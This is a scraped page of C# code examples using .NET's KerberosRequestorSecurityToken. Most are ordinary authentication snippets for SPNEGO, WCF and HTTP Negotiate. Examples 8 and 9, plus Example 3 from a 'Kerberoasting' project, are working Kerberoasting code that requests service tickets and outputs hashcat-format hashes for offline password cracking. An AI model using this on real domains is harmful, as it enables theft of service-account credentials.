コード例 #1
0
        /// <summary>
        /// Acquire the SPNEGO token for the BlackBerry Enterprise Service using the currently logged in
        /// user's credentials and then Base 64 Encode the Token.
        /// </summary>
        /// <param name="kerberosRealm">The kerberos realm. It must be uppercase.
        ///                             It is usually equal to the uppercase of the domain.</param>
        /// <param name="bwsHostname">The address of the BlackBerry Enterprise Server hosting BWS.</param>
        /// <returns>Returns the base 64 encoded SPNEGO token for the currently logged in user.</returns>
        private static String getBase64EncodedSpnegoToken(String kerberosRealm, String bwsHostname)
        {
            String METHOD_NAME = "getBase64EncodedSpnegoToken";

            logMessage("Entering {0}", METHOD_NAME);
            String returnValue = null;

            String servicePrincipal = "BASPLUGIN111/" + bwsHostname + "@" + kerberosRealm;

            byte[] token = null;
            try
            {
                KerberosRequestorSecurityToken krst = new KerberosRequestorSecurityToken(servicePrincipal);
                token = krst.GetRequest();
            }
            catch (Exception e)
            {
                // Log and re-throw exception.
                logMessage("Exiting {0} with exception \"{1}\"", METHOD_NAME, e.Message);
                throw e;
            }

            // encode the token using Base64 encoding before returning it
            if (token != null)
            {
                returnValue = Convert.ToBase64String(token);
            }

            logMessage("Exiting {0} with {1}", METHOD_NAME, returnValue == null ? "null" : "a token");
            return(returnValue);
        }
コード例 #2
0
            public override void WriteBinaryCore(SecurityToken token, out string id, out byte[] rawData)
            {
                KerberosRequestorSecurityToken kerbToken = (KerberosRequestorSecurityToken)token;

                id      = token.Id;
                rawData = kerbToken.GetRequest();
            }
コード例 #3
0
ファイル: Program.cs プロジェクト: githubassets/Kerberoasting
        static byte[] getToken(string spn)
        {
            string domain = System.Environment.UserDomainName;

            using (var domainContext = new PrincipalContext(ContextType.Domain, domain))
            {
                using (var foundUser = UserPrincipal.FindByIdentity(domainContext, IdentityType.SamAccountName, spn))
                {
                    KerberosSecurityTokenProvider  K1 = new KerberosSecurityTokenProvider(spn);
                    KerberosRequestorSecurityToken T1 = K1.GetToken(TimeSpan.FromMinutes(1)) as KerberosRequestorSecurityToken;
                    byte[] requestBytes = T1.GetRequest();
                    return(requestBytes);
                }
            }
        }
コード例 #4
0
        static void Main()
        {
            AppDomain.CurrentDomain.SetPrincipalPolicy(System.Security.Principal.PrincipalPolicy.WindowsPrincipal);
            var domain = Domain.GetCurrentDomain().ToString();

            using (var domainContext = new PrincipalContext(ContextType.Domain, domain))
            {
                //string spn = UserPrincipal.FindByIdentity(domainContext, IdentityType.SamAccountName, serviceName).UserPrincipalName;
                KerberosSecurityTokenProvider  tokenProvider = new KerberosSecurityTokenProvider(serviceName, System.Security.Principal.TokenImpersonationLevel.Identification, CredentialCache.DefaultNetworkCredentials);
                KerberosRequestorSecurityToken securityToken = tokenProvider.GetToken(TimeSpan.FromMinutes(5)) as KerberosRequestorSecurityToken;
                string serviceToken = Convert.ToBase64String(securityToken.GetRequest());
                string encodedToken = HttpUtility.UrlEncode(serviceToken);
                Console.WriteLine("Response:  " + HttpPostq(buildRequest(encodedToken)));
            }
        }
コード例 #5
0
        static string getKerberosTickerFromKDC()
        {
            Console.ForegroundColor = ConsoleColor.Yellow;
            Console.WriteLine("Obtaining a Kerberos ticket...");
            Console.ResetColor();
            AppDomain.CurrentDomain.SetPrincipalPolicy(System.Security.Principal.PrincipalPolicy.WindowsPrincipal);
            var domain = Domain.GetCurrentDomain().ToString();

            using (var domainContext = new PrincipalContext(ContextType.Domain, domain))
            {
                KerberosSecurityTokenProvider  tokenProvider = new KerberosSecurityTokenProvider(apimSPN, System.Security.Principal.TokenImpersonationLevel.Impersonation, CredentialCache.DefaultNetworkCredentials);
                KerberosRequestorSecurityToken securityToken = tokenProvider.GetToken(TimeSpan.FromMinutes(5)) as KerberosRequestorSecurityToken;
                string serviceToken = Convert.ToBase64String(securityToken.GetRequest());

                return(serviceToken);
            }
        }
コード例 #6
0
    public KerberosReceiverSecurityToken WriteToCache(string contextUsername, string contextPassword)
    {
        KerberosSecurityTokenProvider provider =
            new KerberosSecurityTokenProvider("YOURSPN",
                                              TokenImpersonationLevel.Impersonation,
                                              new NetworkCredential(contextUsername.ToLower(), contextPassword, "yourdomain"));
        KerberosRequestorSecurityToken requestorToken = provider.GetToken(TimeSpan.FromMinutes(double.Parse(ConfigurationManager.AppSettings["KerberosTokenExpiration"]))) as KerberosRequestorSecurityToken;
        KerberosReceiverSecurityToken  receiverToken  = new KerberosReceiverSecurityToken(requestorToken.GetRequest());
        IAppCache appCache = new CachingService();

        KerberosReceiverSecurityToken tokenFactory() => receiverToken;

        return(appCache.GetOrAdd(contextUsername.ToLower(), tokenFactory));    // this will either add the token or get the token if it exists
    }
コード例 #7
0
ファイル: Login.cs プロジェクト: BratGoranfloNET/DPDService
        public KerberosReceiverSecurityToken GenerateReceiver()
        {
            KerberosReceiverSecurityToken receiverToken = null;
            //string SPN1 = "HTTP/s001nd-sp-api1.BG.local BG\a001-dpdservice";
            string SPN = "HTTP/s001nd-sp-api1.BG.local";//  garage\dpd_service";

            var currUserName = HttpContext.Current.User.Identity.Name;

            var WindowsAccountName = HttpContext.Current.Request.LogonUserIdentity.Name;

            //KerberosSecurityTokenProvider provider1 =
            //             new KerberosSecurityTokenProvider(SPN,
            //             TokenImpersonationLevel.Impersonation,
            //             new NetworkCredential("dpd_service", "123", "Garage"));

            //KerberosSecurityTokenProvider provider2 =
            //              new KerberosSecurityTokenProvider(SPN,
            //              TokenImpersonationLevel.Impersonation,
            //              CredentialCache.DefaultNetworkCredentials);


            KerberosSecurityTokenProvider provider3 =
                new KerberosSecurityTokenProvider(SPN,
                                                  TokenImpersonationLevel.Impersonation);


            //KerberosSecurityTokenProvider provider4 =
            //               new KerberosSecurityTokenProvider(SPN);


            try
            {
                KerberosRequestorSecurityToken requestorToken = provider3.GetToken(TimeSpan.FromMinutes(180)) as KerberosRequestorSecurityToken;
                var abRequest = requestorToken.GetRequest();
                var sId       = requestorToken.Id;
                KerberosReceiverSecurityToken oReceivedToken = new KerberosReceiverSecurityToken(abRequest, sId);



                using (FileStream fstream = new FileStream(@"C:\DPD500LOG\good_note.txt", FileMode.OpenOrCreate))
                {
                    // var oAuthenticator = new KerberosSecurityTokenAuthenticator();
                    // var oCol = oAuthenticator.ValidateToken(oReceivedToken);
                    //    foreach (var o in oCol)
                    //    {
                    //        Console.WriteLine(o.Id);
                    //    }

                    // преобразуем строку в байты
                    byte[] array = System.Text.Encoding.Default.GetBytes(oReceivedToken.Id);// exception.ToString());
                    // запись массива байтов в файл
                    fstream.Write(array, 0, array.Length);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);

                using (FileStream fstream = new FileStream(@"C:\DPD500LOG\error_note.txt", FileMode.OpenOrCreate))
                {
                    // преобразуем строку в байты
                    byte[] array = System.Text.Encoding.Default.GetBytes(ex.Message);// exception.ToString());
                    // запись массива байтов в файл
                    fstream.Write(array, 0, array.Length);
                }
            }

            return(receiverToken);
        }
コード例 #8
0
ファイル: Program.cs プロジェクト: spiderman233/CSharp-Tools
        /// <summary>
        /// 获取 SPN 的TGS-REP
        /// </summary>
        // https://github.com/GhostPack/SharpRoast/blob/master/SharpRoast/Program.cs
        public static void GetDomainSPNTicket(string spn, string userName = "******", string distinguishedName = "", System.Net.NetworkCredential cred = null)
        {
            string domain = "DOMAIN";

            try
            {
                Console.WriteLine("    [>] Getting SPN ticket for SPN: {0}", spn);
                KerberosRequestorSecurityToken ticket = new KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, cred, Guid.NewGuid().ToString());

                // 通过 GetRequest() 函数 发起 kerbero请求
                byte[] requestBytes    = ticket.GetRequest();
                string ticketHexStream = BitConverter.ToString(requestBytes).Replace("-", "");

                // 通过匹配返回值,提取票据内容
                Match match = Regex.Match(ticketHexStream, @"a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)", RegexOptions.IgnoreCase);

                if (match.Success)
                {
                    // usually 23
                    byte eType = Convert.ToByte(match.Groups["EtypeLen"].ToString(), 16);

                    int    cipherTextLen = Convert.ToInt32(match.Groups["CipherTextLen"].ToString(), 16) - 4;
                    string dataToEnd     = match.Groups["DataToEnd"].ToString();
                    string cipherText    = dataToEnd.Substring(0, cipherTextLen * 2);

                    if (match.Groups["DataToEnd"].ToString().Substring(cipherTextLen * 2, 4) != "A482")
                    {
                        Console.WriteLine(" [X] Error parsing ciphertext for the SPN {0}. Use the TicketByteHexStream to extract the hash offline with Get-KerberoastHashFromAPReq.\r\n", spn);

                        bool header = false;
                        foreach (string line in Split(ticketHexStream, 80))
                        {
                            if (!header)
                            {
                                Console.WriteLine("    [>] TicketHexStream: {0}", line);
                            }
                            else
                            {
                                Console.WriteLine("    [>] :{0}", line);
                            }
                            header = true;
                        }
                        Console.WriteLine();
                    }
                    else
                    {
                        // output to hashcat format
                        string hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", eType, userName, domain, spn, cipherText.Substring(0, 32), cipherText.Substring(32));

                        bool header = false;
                        foreach (string line in Split(hash, 80))
                        {
                            if (!header)
                            {
                                Console.WriteLine("    [>] TGS-REP: {0}", line);
                            }
                            else
                            {
                                Console.WriteLine("    [>] :{0}", line);
                            }
                            header = true;
                        }
                        Console.WriteLine();
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("\r\n [X] Error during request for SPN {0} : {1}\r\n", spn, ex.InnerException.Message);
            }
        }
コード例 #9
0
        private static string GetDomainSPNTicket(string spn, string userName = "******", string distinguishedName = "", System.Net.NetworkCredential cred = null)
        {
            StringBuilder sb     = new StringBuilder();
            string        domain = "DOMAIN";

            if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase))
            {
                // extract the domain name from the distinguishedname
                Match  dnMatch  = Regex.Match(distinguishedName, "(?<Domain>DC=.*)", RegexOptions.IgnoreCase);
                string domainDN = dnMatch.Groups["Domain"].ToString();
                domain = domainDN.Replace("DC=", "").Replace(',', '.');
            }

            try
            {
                if (debug)
                {
                    sb.Append("[DEBUG] (GetDomainSPNTicket) getting SPN ticket for SPN: " + spn);
                }
                // request a new ticket
                KerberosRequestorSecurityToken ticket = new KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, cred, Guid.NewGuid().ToString());

                byte[] requestBytes    = ticket.GetRequest();
                string ticketHexStream = BitConverter.ToString(requestBytes).Replace("-", "");

                // janky regex to try to find the part of the service ticket we want
                Match match = Regex.Match(ticketHexStream, @"a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)",
                                          RegexOptions.IgnoreCase);

                if (match.Success)
                {
                    // usually 23 rc4-hmac
                    byte eType = Convert.ToByte(match.Groups["EtypeLen"].ToString(), 16);

                    int    cipherTextLen = Convert.ToInt32(match.Groups["CipherTextLen"].ToString(), 16) - 4;
                    string dataToEnd     = match.Groups["DataToEnd"].ToString();
                    string cipherText    = dataToEnd.Substring(0, cipherTextLen * 2);

                    if (match.Groups["DataToEnd"].ToString().Substring(cipherTextLen * 2, 4) != "A482")
                    {
                        sb.Append(" [X] Error parsing ciphertext for the SPN {0}. Use the TicketByteHexStream to extract the hash offline with Get-KerberoastHashFromAPReq: " +
                                  spn);
                        sb.Append(Environment.NewLine);

                        bool header = false;
                        foreach (string line in Split(ticketHexStream, 80))
                        {
                            if (!header)
                            {
                                sb.Append("TicketHexStream        : " + line);
                            }
                            else
                            {
                                sb.Append("                         " + line);
                            }
                            sb.Append(Environment.NewLine);
                            header = true;
                        }
                    }
                    else
                    {
                        // output to hashcat format
                        string hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", eType, userName, domain, spn, cipherText.Substring(0, 32), cipherText.Substring(32));

                        bool header = false;
                        foreach (string line in Split(hash, 80))
                        {
                            if (!header)
                            {
                                sb.AppendFormat("Hash                   : {0}", line);
                            }
                            else
                            {
                                sb.AppendFormat("                         {0}", line);
                            }
                            sb.Append(Environment.NewLine);
                            header = true;
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                sb.Append(Environment.NewLine);
                sb.AppendFormat("Error during request for SPN {0} : {1} ", spn, ex.InnerException.Message);
            }

            return(sb.ToString());
        }
コード例 #10
0
        static void Main(string[] args)
        {
            //MechType: 1.2.840.48018.1.2.2 (MS KRB5 - Microsoft Kerberos 5)
            //MechType: 1.2.840.113554.1.2.2 (KRB5 - Kerberos 5)
            //MechType: 1.3.6.1.4.1.311.2.2.30 (NEGOEX - SPNEGO Extended Negotiation Security Mechanism)
            //MechType: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider)
            byte[] MechTypes = { 0xa0, 0x30, 0x30, 0x2e, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x82, 0xf7, 0x12, 0x01, 0x02, 0x02, 0x06, 0x09, 0x2a, 0x86, 0x48
                                 ,     0x86, 0xf7, 0x12, 0x01, 0x02, 0x02, 0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37,     0x02
                                 ,     0x02, 0x1e, 0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0a };

            //OID: 1.3.6.1.5.5.2 (SPNEGO - Simple Protected Negotiation)
            byte[] oid = { 0x06, 0x06, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x02 };

            //KRB5 OID: 1.2.840.113554.1.2.2 (KRB5 - Kerberos 5)
            byte[] krb5_oid = { 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x12, 0x01, 0x02, 0x02 };


            var    url       = "http://app1.zf.com/index.html";
            var    userName  = "******";
            var    paswd     = "Testpass";
            var    domServer = "server006";
            var    domain    = domServer + ".zf.com";
            string spn       = "HTTP/[email protected]";

            byte[] ticketData;
            string sret = "";

            //Get service ticket from server
            using (var domainContext = new PrincipalContext(ContextType.Domain, domain, null, ContextOptions.Negotiate,
                                                            userName, paswd))
            {
                using (var foundUser = UserPrincipal.FindByIdentity(domainContext, IdentityType.SamAccountName, userName))
                {
                    Console.WriteLine("User Principale name" + UserPrincipal
                                      .FindByIdentity(domainContext, IdentityType.SamAccountName, userName)
                                      .UserPrincipalName);

                    KerberosSecurityTokenProvider k1 = new KerberosSecurityTokenProvider(spn
                                                                                         , System.Security.Principal.TokenImpersonationLevel.Identification, //2248
                                                                                         new System.Net.NetworkCredential(userName, paswd, "zf.COM"));
                    KerberosRequestorSecurityToken T1 =
                        k1.GetToken(TimeSpan.FromMinutes(1)) as KerberosRequestorSecurityToken;
                    ticketData = T1.GetRequest();
                    sret       = Convert.ToBase64String(ticketData);
                    Console.WriteLine("=====sret========" + sret);
                    Console.WriteLine("=====Time now========" + System.DateTime.UtcNow);
                    Console.WriteLine("=====valir from========" + T1.ValidFrom);
                    Console.WriteLine("=====valir from========" + T1.ValidTo);
                    Console.WriteLine("=====LEN========" + sret.Length);
                }
            }

            #region Decoding service ticket and geting Kerberos service ticket

            List <byte> identifier0 = new List <byte>();
            List <byte> dataToken0  = new List <byte>();
            int         dataLength0 = AsnDer.Decode(ticketData, identifier0, dataToken0);    //Get GSS-API


            List <byte> identifier10 = new List <byte>();
            List <byte> dataToken10  = new List <byte>();
            int         dataLength10 = AsnDer.Decode(dataToken0.ToArray(), identifier10, dataToken10); //Get OID

            var Kerberos = dataToken0.Skip(dataLength10);                                              //Get KERBEROS data
            #endregion

            #region Creating negotiation request
            var data1 = AsnDer.Encode(new Byte[] { 0x60 }, krb5_oid.Concat(Kerberos).ToArray());             //krb5_oid + Kerberos service ticket
            var data2 = AsnDer.Encode(new Byte[] { 0x04 }, data1);                                           //Wrap Sequence of bytes
            var data3 = AsnDer.Encode(new Byte[] { 0xa2 }, data2);                                           //Wrap MechToken element
            var data4 = AsnDer.Encode(new Byte[] { 0x30 }, MechTypes.Concat(data3).ToArray());               //Contruct sequence
            var data5 = AsnDer.Encode(new Byte[] { 0xa0 }, data4);                                           //NegResult
            var data6 = AsnDer.Encode(new Byte[] { 0x60 }, oid.Concat(data5).ToArray());                     //NegTokenInit
            #endregion


            CookieContainer cookieContainer = new CookieContainer();
            HttpWebRequest  req             = HttpWebRequest.Create(url) as HttpWebRequest;
            req.CookieContainer = cookieContainer;
            req.KeepAlive       = true;
            req.Headers.Add("Authorization", "Negotiate " + Convert.ToBase64String(data6));

            WebResponse resp = req.GetResponse();
            resp.Close();

            var cookies = GetAllCookies(cookieContainer);
        }